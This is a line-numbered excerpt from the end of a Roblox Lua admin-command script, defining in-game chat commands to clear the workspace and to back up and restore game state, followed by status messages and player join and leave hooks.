1827 | RunModule('DisposePlayer',Target,Speaker); | |
1828 | end | |
1829 | end | |
1830 | end | |
1831 | end) | |
1832 | RunModule('CommandModule','/rworkspace','Clears the game of all objects, excluding this script and players','/rw','#cs#',function(Speaker) | |
1833 | local Children=Workspace:GetChildren(); | |
1834 | for ChildIndex,Child in pairs(Children) do | |
1835 | if (Child~=script) then | |
1836 | pcall(function() Child:Remove(); end); | |
1837 | end | |
1838 | end | |
1839 | end) | |
1840 | RunModule('CommandModule','/restoregame','Restores the game to its state when the backup was created','/rg','#cs#(.+)',function(Speaker,Input) | |
1841 | if (Input==nil) then return end | |
1842 | if (GameBackups[Input]==nil) then | |
1843 | RunModule('ShowHint',Speaker,'That backup key doesnt exist.',5); | |
1844 | return | |
1845 | end | |
1846 | RunModule('RestoreGame',Input); | |
1847 | notsq({{'[API]; Module not active'}}) | |
1848 | end) | |
1849 | RunModule('CommandModule','/backupgame','Backs up the game so you casn restore it later','/bg','#cs#(.+)',function(Speaker,Input) | |
1850 | if (Input==nil) then return end | |
1851 | if (GameBackups[Input]~=nil) then | |
1852 | RunModule('ShowHint',Speaker,'That backup key already exists.',5); | |
1853 | return | |
1854 | end | |
1855 | RunModule('BackupGame',Input); | |
1856 | RunModule('ShowHint',Speaker,'Backup successful.',5); | |
1857 | notsq({{'[API]; Command not active'}}) | |
1858 | end) | |
1859 | mwq('[API]; Commands Loaded!' ,low) | |
1860 | mwi('[API UPDATES]; Added, PaintBallGun into Lighting.', 'Green') | |
1861 | mwi('[API UPDATES]; Working on the XDQ Camball agian, next update 11-4-12.', 'Green') | |
1862 | notsq({{'[API]; Modules Loaded!', Random}, {'[API]; API Commands V3 setup', Random}, {'[API]; Tables active!', Random}, {'[API]; Functions working!', Random}, {'[API]; Indiviual Target Functions working!', Random}, {'[API]; _G functions not available at this time.', Random}, {'[API]; Commands active!', Random}, {'[API]; API Commands 507, RIG', Random}, {'[API]; HEAT507, Current script , [GUN GAME] in his models', Random}, {'[API]; Learn how to script in the RobloxWiki', Random}}) | |
1863 | game:GetService('Players').PlayerAdded:connect(function(...) RunModule('AddPlayer',...); end) | |
1864 | game:GetService('Players').PlayerRemoving:connect(function(...) RunModule('RemovePlayer',...); end) | |
1865 | table.foreach(game:GetService('Players'):GetPlayers(),function(Index,Player) RunModule('AddPlayer',Player); end) | |
1866 | ||
1867 | --mediafire |